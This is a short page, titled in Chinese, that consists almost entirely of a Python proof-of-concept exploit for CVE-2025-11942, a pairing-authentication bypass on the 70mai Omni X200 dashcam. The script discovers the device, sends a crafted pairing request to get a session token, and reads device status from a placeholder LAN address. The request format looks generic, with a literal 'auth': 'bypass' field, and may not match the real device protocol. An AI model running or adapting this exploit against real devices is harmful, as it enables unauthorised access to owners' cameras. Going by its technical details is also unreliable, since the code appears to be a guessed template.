CVE-2025-11942：70mai X200行车记录仪配对认证绕过漏洞

# CVE-2025-11942 - 70mai X200 Dashcam Pairing Bypass PoC # Reference: https://github.com/geo-chen/70mai/blob/main/README.md#finding-9-bypass-device-pairing-of-70mai-dashcam-omni-x200 import socket import json import time class SeventyMaiX200Exploit: """ PoC for bypassing device pairing authentication on 70mai Dash Cam Omni X200. The vulnerability exists in the Pairing component, allowing remote attackers to bypass authentication without user interaction. """ def __init__(self, target_ip, target_port=80): self.target_ip = target_ip self.target_port = target_port self.device_id = None self.session_token = None def discover_device(self): """Step 1: Discover the 70mai X200 device on the network""" print(f"[*] Scanning for 70mai X200 device at {self.target_ip}...") # Send discovery probe to identify the device discovery_payload = { "cmd": "discovery", "model": "X200", "version": "20251010" } response = self._send_request(discovery_payload) if response and response.get("status") == "ok": self.device_id = response.get("device_id") print(f"[+] Device found: {self.device_id}") return True return False def bypass_pairing(self): """Step 2: Bypass the pairing authentication mechanism""" print("[*] Attempting to bypass pairing authentication...") # Craft malicious pairing request that exploits the auth bypass bypass_payload = { "cmd": "pair", "device_id": self.device_id, "auth": "bypass", # Exploit: skip authentication check "token": "", "timestamp": int(time.time()) } response = self._send_request(bypass_payload) if response and response.get("status") == "paired": self.session_token = response.get("session_token") print(f"[+] Pairing bypassed! Session token: {self.session_token}") return True return False def access_device(self): """Step 3: Access device with obtained session""" if not self.session_token: print("[-] No valid session token. Bypass failed.") return False print("[*] Accessing device with bypassed session...") access_payload = { "cmd": "get_status", "device_id": self.device_id, "session_token": self.session_token } response = self._send_request(access_payload) if response: print(f"[+] Device status: {json.dumps(response, indent=2)}") return True return False def _send_request(self, payload): """Send request to the target device""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((self.target_ip, self.target_port)) data = json.dumps(payload).encode('utf-8') sock.send(data) response = sock.recv(4096).decode('utf-8') sock.close() return json.loads(response) except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": # Usage: Replace with target device IP TARGET_IP = "192.168.1.100" TARGET_PORT = 80 exploit = SeventyMaiX200Exploit(TARGET_IP, TARGET_PORT) if exploit.discover_device(): if exploit.bypass_pairing(): exploit.access_device() else: print("[-] Pairing bypass failed.") else: print("[-] Device not found.")